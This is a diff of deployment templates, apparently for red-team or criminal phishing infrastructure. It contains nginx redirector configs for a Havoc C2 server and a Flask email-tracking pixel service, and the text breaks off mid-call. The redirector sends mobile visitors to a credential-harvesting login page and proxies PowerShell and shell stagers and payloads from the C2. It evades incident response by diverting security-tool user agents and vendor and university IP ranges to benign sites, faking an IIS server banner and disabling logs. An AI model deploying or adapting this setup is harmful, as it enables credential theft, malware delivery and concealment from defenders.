|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
|
||||
|
||||
# Make server appear as IIS
|
||||
add_header Server "Microsoft-IIS/10.0";
|
||||
|
||||
# Disable logging
|
||||
{% if zero_logs | default(true) | bool %}
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
# Catch-all server block
|
||||
server {
|
||||
listen 80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
listen 443 ssl default_server;
|
||||
listen [::]:443 ssl default_server;
|
||||
|
||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||
|
||||
# Redirect unknown hosts to legitimate sites
|
||||
return 301 https://www.google.com;
|
||||
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
@@ -0,0 +1,298 @@
|
||||
# Advanced Redirector Configuration with IR Evasion
|
||||
# templates/redirector-site.conf.j2
|
||||
|
||||
# Detect security tools by user agent
|
||||
map $http_user_agent $is_security_tool {
|
||||
default 0;
|
||||
# Common security tools, scanners, and IR user agents
|
||||
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
|
||||
}
|
||||
|
||||
# Improved mobile detection regex
|
||||
map $http_user_agent $is_mobile {
|
||||
default 0;
|
||||
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
|
||||
}
|
||||
|
||||
map $remote_addr $is_known_security_ip {
|
||||
default 0;
|
||||
|
||||
# VirusTotal
|
||||
"64.71.0.0/16" 1;
|
||||
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
|
||||
"216.239.32.0/19" 1; # Google
|
||||
|
||||
# Recorded Future & SentinelOne (merged - both use Google Cloud)
|
||||
"104.196.0.0/14" 1; # Google Cloud
|
||||
"35.184.0.0/13" 1; # Google Cloud
|
||||
|
||||
# Censys
|
||||
"198.108.66.0/23" 1;
|
||||
"162.142.125.0/24" 1;
|
||||
"167.248.133.0/24" 1;
|
||||
|
||||
# Shodan
|
||||
"66.240.192.0/18" 1;
|
||||
"71.6.135.0/24" 1;
|
||||
"71.6.167.0/24" 1;
|
||||
"82.221.105.6/32" 1;
|
||||
"82.221.105.7/32" 1;
|
||||
"93.120.27.0/24" 1;
|
||||
|
||||
# Symantec/Broadcom
|
||||
"205.128.0.0/14" 1;
|
||||
"65.165.0.0/16" 1;
|
||||
|
||||
# McAfee/Trellix
|
||||
"161.69.0.0/16" 1;
|
||||
"192.225.158.0/24" 1;
|
||||
|
||||
# CrowdStrike
|
||||
"45.60.0.0/16" 1;
|
||||
"199.66.200.0/24" 1;
|
||||
|
||||
# SentinelOne
|
||||
"104.36.227.0/24" 1;
|
||||
# "104.196.0.0/14" 1; # Removed duplicate - already defined for Recorded Future
|
||||
|
||||
# Microsoft Defender
|
||||
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
|
||||
"13.104.0.0/14" 1; # Microsoft
|
||||
"40.74.0.0/15" 1; # Microsoft
|
||||
"51.4.0.0/15" 1; # Microsoft
|
||||
"104.40.0.0/13" 1; # Microsoft
|
||||
"104.208.0.0/13" 1; # Azure
|
||||
|
||||
# Palo Alto
|
||||
"96.88.0.0/16" 1;
|
||||
"173.247.96.0/19" 1;
|
||||
"216.115.73.0/24" 1;
|
||||
|
||||
# Qualys
|
||||
"64.39.96.0/20" 1;
|
||||
"64.41.200.0/24" 1;
|
||||
"92.118.160.0/24" 1;
|
||||
|
||||
# Rapid7
|
||||
"5.63.0.0/16" 1;
|
||||
"38.107.201.0/24" 1;
|
||||
# "45.60.0.0/16" 1; # Removed duplicate - already defined for CrowdStrike
|
||||
"71.6.0.0/16" 1; # Note: This may overlap with Shodan ranges
|
||||
"206.225.0.0/16" 1;
|
||||
|
||||
# Tenable/Nessus
|
||||
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
|
||||
"34.192.0.0/12" 1; # AWS
|
||||
"54.144.0.0/12" 1; # AWS
|
||||
"162.219.56.0/21" 1;
|
||||
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
|
||||
|
||||
# FireEye/Mandiant
|
||||
"23.98.64.0/18" 1;
|
||||
"66.114.168.0/22" 1;
|
||||
"96.43.144.0/20" 1;
|
||||
"173.231.184.0/22" 1;
|
||||
|
||||
# Akamai
|
||||
"23.0.0.0/12" 1;
|
||||
"23.32.0.0/11" 1;
|
||||
"104.64.0.0/10" 1;
|
||||
|
||||
# Cloudflare
|
||||
"104.16.0.0/12" 1;
|
||||
"173.245.48.0/20" 1;
|
||||
|
||||
# Academic Research Networks
|
||||
"128.32.0.0/16" 1; # UC Berkeley
|
||||
"128.59.0.0/16" 1; # Columbia University
|
||||
"128.112.0.0/16" 1; # Princeton University
|
||||
"128.138.0.0/16" 1; # University of Colorado
|
||||
"128.197.0.0/16" 1; # Boston University
|
||||
"146.186.0.0/16" 1; # Carnegie Mellon
|
||||
}
|
||||
|
||||
# HTTP to HTTPS redirect
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
||||
|
||||
# Redirect to HTTPS
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
# Main HTTPS server
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_prefer_server_ciphers on;
|
||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
||||
ssl_session_timeout 1d;
|
||||
ssl_session_cache shared:SSL:10m;
|
||||
|
||||
# Root directory
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
# Advanced IR Evasion - IMPORTANT: Order matters!
|
||||
|
||||
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
|
||||
if ($is_mobile = 1) {
|
||||
return 302 https://$host/login/auth.html;
|
||||
}
|
||||
|
||||
# 2. Redirect security tools to benign sites
|
||||
if ($is_security_tool) {
|
||||
return 302 https://www.google.com;
|
||||
}
|
||||
|
||||
# 3. Redirect known security IPs
|
||||
if ($is_known_security_ip) {
|
||||
return 302 https://www.microsoft.com;
|
||||
}
|
||||
|
||||
# 4. Add timing delay for suspicious connections
|
||||
if ($http_referer ~* (security|scan)) {
|
||||
set $delay_response 1;
|
||||
}
|
||||
|
||||
# Valid C2 beacon routing - CRITICAL PATHS
|
||||
location ~ ^/api/beacon/ {
|
||||
# Only valid beacons proceed to C2
|
||||
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(9443) }};
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_ssl_verify off;
|
||||
|
||||
# Implement artificial delay for suspicious connections
|
||||
if ($delay_response) {
|
||||
limit_rate 1k; # Slow down response
|
||||
}
|
||||
}
|
||||
|
||||
# Secure stager delivery routes
|
||||
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
|
||||
# Only valid requests that passed the earlier checks
|
||||
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
|
||||
# Content access for payload delivery
|
||||
location ~ ^/content/(windows|linux)/(.+)$ {
|
||||
# Specific valid content paths
|
||||
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
|
||||
# Secure payload delivery path for synced payloads
|
||||
location /resources/ {
|
||||
alias /var/www/resources/;
|
||||
limit_except GET { deny all; }
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header Content-Security-Policy "default-src 'none'" always;
|
||||
add_header X-Frame-Options "DENY" always;
|
||||
add_header Server "Microsoft-IIS/10.0" always;
|
||||
autoindex off;
|
||||
access_log off;
|
||||
}
|
||||
|
||||
# Credential harvesting login page
|
||||
location ~ ^/login/auth\.html$ {
|
||||
root /var/www;
|
||||
try_files $uri =404;
|
||||
add_header X-Frame-Options "DENY" always;
|
||||
}
|
||||
|
||||
# Protect credential processing script
|
||||
location ~ ^/login/process\.php$ {
|
||||
# Allow POST only
|
||||
limit_except POST { deny all; }
|
||||
|
||||
# Process the PHP file
|
||||
root /var/www;
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
|
||||
# Block direct access to sensitive files
|
||||
location ~ \.(enc|key|pem|log)$ {
|
||||
deny all;
|
||||
return 404;
|
||||
}
|
||||
|
||||
{% if setup_integrated_tracker | default(false) | bool %}
|
||||
# Email tracker pixel only (not exposing dashboard)
|
||||
location ~ ^/px/(.+)\.png$ {
|
||||
proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host {{ tracker_domain }};
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-Proto https;
|
||||
|
||||
# Cache control for tracking pixels
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
|
||||
expires -1;
|
||||
}
|
||||
{% endif %}
|
||||
|
||||
# Primary location for legitimate website traffic
|
||||
# This acts as a catch-all for non-matching URIs
|
||||
location / {
|
||||
# Check if this is potentially an attempt to access a non-existent payload
|
||||
if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
|
||||
# If invalid payload URI, redirect to real target
|
||||
return 302 https://www.{{ domain }};
|
||||
}
|
||||
|
||||
# Otherwise serve legitimate content
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
|
||||
|
||||
# Make server appear as IIS
|
||||
add_header Server "Microsoft-IIS/10.0";
|
||||
|
||||
# Disable logging
|
||||
{% if zero_logs | default(true) | bool %}
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
# Catch-all server block
|
||||
server {
|
||||
listen 80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
listen 443 ssl default_server;
|
||||
listen [::]:443 ssl default_server;
|
||||
|
||||
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
|
||||
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
|
||||
|
||||
# Redirect unknown hosts to legitimate sites
|
||||
return 301 https://www.google.com;
|
||||
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
# TCP stream configuration for Havoc C2
|
||||
stream {
|
||||
# TCP forwarding for Havoc Teamserver
|
||||
server {
|
||||
listen {{ havoc_teamserver_port | default(40056) }};
|
||||
proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }};
|
||||
}
|
||||
|
||||
# Additional Havoc ports
|
||||
server {
|
||||
listen {{ havoc_http_port | default(8080) }};
|
||||
proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }};
|
||||
}
|
||||
|
||||
# HTTPS for Havoc - Using a different port to avoid conflicts with web server
|
||||
server {
|
||||
# Changed from default 443 to 9443 to avoid conflict with Nginx HTTPS
|
||||
listen {{ havoc_https_port | default(9443) }};
|
||||
# Still proxy to the C2's HTTPS port
|
||||
proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,214 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple Email Tracking Server
|
||||
|
||||
A minimal Flask application that serves transparent tracking pixels
|
||||
and logs email opens with metadata.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from flask import Flask, request, send_file, render_template_string
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
handlers=[
|
||||
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
|
||||
# Create Flask app
|
||||
app = Flask(__name__)
|
||||
|
||||
# Directory to store tracking data
|
||||
DATA_DIR = '/root/Tools/tracker/data'
|
||||
os.makedirs(DATA_DIR, exist_ok=True)
|
||||
|
||||
# Path to 1x1 transparent pixel
|
||||
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
|
||||
|
||||
# Create 1x1 transparent PNG if it doesn't exist
|
||||
if not os.path.exists(PIXEL_PATH):
|
||||
from PIL import Image
|
||||
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
|
||||
img.save(PIXEL_PATH)
|
||||
|
||||
# Path to tracking data
|
||||
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
|
||||
|
||||
def load_tracking_data():
|
||||
"""Load existing tracking data from JSON file"""
|
||||
if os.path.exists(TRACKING_DATA_PATH):
|
||||
try:
|
||||
with open(TRACKING_DATA_PATH, 'r') as f:
|
||||
return json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
logging.error("Error loading tracking data, starting fresh")
|
||||
return {}
|
||||
|
||||
def save_tracking_data(data):
|
||||
"""Save tracking data to JSON file"""
|
||||
with open(TRACKING_DATA_PATH, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
@app.route('/pixel/<tracking_id>.png')
|
||||
def tracking_pixel(tracking_id):
|
||||
"""Serve a tracking pixel and log the request"""
|
||||
# Get client information
|
||||
user_agent = request.headers.get('User-Agent', 'Unknown')
|
||||
ip_address = request.remote_addr
|
||||
timestamp = datetime.now().isoformat()
|
||||
referer = request.headers.get('Referer', 'Unknown')
|
||||
|
||||
# Log the tracking event
|
||||
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
|
||||
|
||||
# Add tracking event to data
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
tracking_data[tracking_id] = []
|
||||
|
||||
tracking_data[tracking_id].append({
|
||||
'timestamp': timestamp,
|
||||
'ip_address': ip_address,
|
||||
'user_agent': user_agent,
|
||||
'referer': referer
|
||||
})
|
||||
|
||||
save_tracking_data(tracking_data)
|
||||
|
||||
# Return the 1x1 transparent pixel
|
||||
return send_file(PIXEL_PATH, mimetype='image/png')
|
||||
|
||||
@app.route('/')
|
||||
def dashboard():
|
||||
"""Display tracking statistics dashboard"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
# Prepare data for the dashboard
|
||||
stats = []
|
||||
for tracking_id, events in tracking_data.items():
|
||||
stats.append({
|
||||
'id': tracking_id,
|
||||
'views': len(events),
|
||||
'last_view': events[-1]['timestamp'] if events else 'Never',
|
||||
'unique_ips': len(set(e['ip_address'] for e in events))
|
||||
})
|
||||
|
||||
# Sort by most views
|
||||
stats.sort(key=lambda x: x['views'], reverse=True)
|
||||
|
||||
# Simple HTML dashboard template
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Email Tracking Dashboard</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Email Tracking Dashboard</h1>
|
||||
<p>To track email opens, add this HTML to your emails:</p>
|
||||
<pre><img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
||||
|
||||
<h2>Tracking Statistics</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Tracking ID</th>
|
||||
<th>Views</th>
|
||||
<th>Unique IPs</th>
|
||||
<th>Last View</th>
|
||||
<th>Details</th>
|
||||
</tr>
|
||||
{% for stat in stats %}
|
||||
<tr>
|
||||
<td>{{ stat.id }}</td>
|
||||
<td>{{ stat.views }}</td>
|
||||
<td>{{ stat.unique_ips }}</td>
|
||||
<td>{{ stat.last_view }}</td>
|
||||
<td><a href="/details/{{ stat.id }}">View Details</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, stats=stats)
|
||||
|
||||
@app.route('/details/<tracking_id>')
|
||||
def tracking_details(tracking_id):
|
||||
"""Display detailed tracking information for a specific ID"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
return f"No data found for tracking ID: {tracking_id}", 404
|
||||
|
||||
events = tracking_data[tracking_id]
|
||||
|
||||
# Simple HTML template for details
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Tracking Details: {{ tracking_id }}</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1, h2 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
.back { margin-bottom: 20px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="back"><a href="/">« Back to Dashboard</a></div>
|
||||
<h1>Tracking Details: {{ tracking_id }}</h1>
|
||||
<p>Total views: {{ events|length }}</p>
|
||||
|
||||
<h2>Events</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Time</th>
|
||||
<th>IP Address</th>
|
||||
<th>User Agent</th>
|
||||
<th>Referer</th>
|
||||
</tr>
|
||||
{% for event in events %}
|
||||
<tr>
|
||||
<td>{{ event.timestamp }}</td>
|
||||
<td>{{ event.ip_address }}</td>
|
||||
<td>{{ event.user_agent }}</td>
|
||||
<td>{{ event.referer }}</td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, tracking_id=tracking_id, events=events)
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='127.0.0.1', port=5000, debug=False)
|
||||
@@ -0,0 +1,47 @@
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# Redirect to HTTPS if SSL is enabled
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
|
||||
|
||||
# Restrict dashboard to localhost only
|
||||
location / {
|
||||
allow 127.0.0.1;
|
||||
deny all;
|
||||
proxy_pass http://127.0.0.1:5000;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
}
|
||||
|
||||
# Allow public access only to pixel endpoints
|
||||
location ~ ^/pixel/(.+)\.png$ {
|
||||
# Public access allowed
|
||||
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
|
||||
# Cache control - don't cache tracking pixels
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
|
||||
expires off;
|
||||
}
|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/bin/bash
|
||||
# CLI tool to view email tracking stats
|
||||
|
||||
DATA_FILE="/root/Tools/tracker/data/tracking_data.json"
|
||||
|
||||
function show_summary() {
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
echo "No tracking data found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Email Tracking Summary:"
|
||||
echo "======================="
|
||||
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
|
||||
}
|
||||
|
||||
function show_details() {
|
||||
ID=$1
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
echo "No tracking data found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Details for tracking ID: $ID"
|
||||
echo "=========================="
|
||||
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
|
||||
}
|
||||
|
||||
case "$1" in
|
||||
"list")
|
||||
show_summary
|
||||
;;
|
||||
"details")
|
||||
if [ -z "$2" ]; then
|
||||
echo "Usage: $0 details TRACKING_ID"
|
||||
exit 1
|
||||
fi
|
||||
show_details "$2"
|
||||
;;
|
||||
*)
|
||||
echo "Usage: $0 [list|details TRACKING_ID]"
|
||||
echo " list - Show summary of all tracking IDs"
|
||||
echo " details ID - Show details for specific tracking ID"
|
||||
;;
|
||||
esac
|
||||
@@ -0,0 +1,19 @@
|
||||
[Unit]
|
||||
Description=Email Tracking Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User=tracker
|
||||
Group=tracker
|
||||
WorkingDirectory=/root/Tools/tracker
|
||||
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security settings
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,221 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple Email Tracking Server
|
||||
|
||||
A minimal Flask application that serves transparent tracking pixels
|
||||
and logs email opens with metadata.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from flask import Flask, request, send_file, render_template_string
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
handlers=[
|
||||
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
|
||||
# Create Flask app
|
||||
app = Flask(__name__)
|
||||
|
||||
# Directory to store tracking data
|
||||
DATA_DIR = '/root/Tools/tracker/data'
|
||||
os.makedirs(DATA_DIR, exist_ok=True)
|
||||
|
||||
# Path to 1x1 transparent pixel
|
||||
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
|
||||
|
||||
# Create 1x1 transparent PNG if it doesn't exist
|
||||
if not os.path.exists(PIXEL_PATH):
|
||||
from PIL import Image
|
||||
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
|
||||
img.save(PIXEL_PATH)
|
||||
|
||||
# Path to tracking data
|
||||
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
|
||||
|
||||
def load_tracking_data():
|
||||
"""Load existing tracking data from JSON file"""
|
||||
if os.path.exists(TRACKING_DATA_PATH):
|
||||
try:
|
||||
with open(TRACKING_DATA_PATH, 'r') as f:
|
||||
return json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
logging.error("Error loading tracking data, starting fresh")
|
||||
return {}
|
||||
|
||||
def save_tracking_data(data):
|
||||
"""Save tracking data to JSON file"""
|
||||
with open(TRACKING_DATA_PATH, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
@app.route('/pixel/<tracking_id>.png')
|
||||
def tracking_pixel(tracking_id):
|
||||
"""Serve a tracking pixel and log the request"""
|
||||
# Get client information
|
||||
user_agent = request.headers.get('User-Agent', 'Unknown')
|
||||
ip_address = request.remote_addr
|
||||
timestamp = datetime.now().isoformat()
|
||||
referer = request.headers.get('Referer', 'Unknown')
|
||||
|
||||
# Log the tracking event
|
||||
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
|
||||
|
||||
# Add tracking event to data
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
tracking_data[tracking_id] = []
|
||||
|
||||
tracking_data[tracking_id].append({
|
||||
'timestamp': timestamp,
|
||||
'ip_address': ip_address,
|
||||
'user_agent': user_agent,
|
||||
'referer': referer
|
||||
})
|
||||
|
||||
save_tracking_data(tracking_data)
|
||||
|
||||
# Return the 1x1 transparent pixel
|
||||
return send_file(PIXEL_PATH, mimetype='image/png')
|
||||
|
||||
@app.route('/')
|
||||
def dashboard():
|
||||
"""Display tracking statistics dashboard"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
# Prepare data for the dashboard
|
||||
stats = []
|
||||
for tracking_id, events in tracking_data.items():
|
||||
stats.append({
|
||||
'id': tracking_id,
|
||||
'views': len(events),
|
||||
'last_view': events[-1]['timestamp'] if events else 'Never',
|
||||
'unique_ips': len(set(e['ip_address'] for e in events))
|
||||
})
|
||||
|
||||
# Sort by most views
|
||||
stats.sort(key=lambda x: x['views'], reverse=True)
|
||||
|
||||
# Simple HTML dashboard template
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Email Tracking Dashboard - {{ tracker_domain }}</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Email Tracking Dashboard</h1>
|
||||
<p>To track email opens, add this HTML to your emails:</p>
|
||||
<pre><img src="https://{{ redirector_domain }}/px/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
||||
<p>Alternatively, use this URL with your C2 server directly:</p>
|
||||
<pre><img src="https://{{ tracker_domain }}/pixel/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
||||
|
||||
<h2>Tracking Statistics</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Tracking ID</th>
|
||||
<th>Views</th>
|
||||
<th>Unique IPs</th>
|
||||
<th>Last View</th>
|
||||
<th>Details</th>
|
||||
</tr>
|
||||
{% for stat in stats %}
|
||||
<tr>
|
||||
<td>{{ stat.id }}</td>
|
||||
<td>{{ stat.views }}</td>
|
||||
<td>{{ stat.unique_ips }}</td>
|
||||
<td>{{ stat.last_view }}</td>
|
||||
<td><a href="/details/{{ stat.id }}">View Details</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(
|
||||
template,
|
||||
stats=stats,
|
||||
